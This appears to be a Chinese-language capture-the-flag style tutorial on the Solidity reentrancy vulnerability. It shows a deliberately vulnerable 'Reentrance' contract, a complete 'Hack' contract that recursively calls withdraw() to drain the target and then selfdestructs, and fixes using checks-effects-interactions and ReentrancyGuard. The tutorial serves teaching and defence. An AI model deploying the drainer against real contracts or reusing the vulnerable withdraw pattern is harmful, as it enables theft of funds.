// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
    using SafeMath for uint256;
    mapping(address => uint256) public balances;
    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }
    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }
    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }
    receive() external payable {}
}
我們仔細看 withdraw() 函數,攻擊流程如下:
call,將金額轉給提款者。由於提款者的餘額是在資金轉出後才更新,這為 Reentrancy 攻擊提供了機會。攻擊者可以在資金轉出後但餘額尚未更新時,重入 withdraw() 函數,再次提取資金,形成無限循環。
withdraw():攻擊者呼叫 withdraw() 取出部分資金,進入提款流程。receive() 函數被觸發,再次呼叫 withdraw(),重複提取資金直到合約資金耗盡。pragma solidity ^0.8.0;
interface IReentrancy {
    function donate(address) external payable;
    function withdraw(uint256) external;
}
contract Hack {
    IReentrancy private immutable target;
    constructor(address _target) {
        target = IReentrancy(_target);
    }
    // NOTE: attack cannot be called inside constructor
    function attack() external payable {
        target.donate{value: 1e18}(address(this));
        target.withdraw(1e18);
        require(address(target).balance == 0, "target balance > 0");
        selfdestruct(payable(msg.sender));
    }
    receive() external payable {
        uint256 amount = min(1e18, address(target).balance);
        if (amount > 0) {
            target.withdraw(amount);
        }
    }
    function min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}
防止 Reentrancy 攻擊有幾個關鍵的方式:
這是一種常見的開發模式,將外部呼叫(Interactions)放在狀態變數更新(Effects)之後進行,這樣可以確保當外部合約被呼叫時,內部狀態已經更新完畢,防止重入攻擊。
function withdraw(uint _amount) public {
    // 先更新狀態變數
    balances[msg.sender] -= _amount;
    // 再與外部進行互動
    (bool result,) = msg.sender.call{value: _amount}("");
    require(result, "Transfer failed");
}
可以使用 ReentrancyGuard 來防止函數被重入調用。這是一種設計模式,透過狀態變數來鎖定函數,確保函數只能被調用一次。
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeContract is ReentrancyGuard {
    function withdraw(uint _amount) public nonReentrant {
        // 使用 ReentrancyGuard 防止重入攻擊
        balances[msg.sender] -= _amount;
        (bool result,) = msg.sender.call{value: _amount}("");
        require(result, "Transfer failed");
    }
}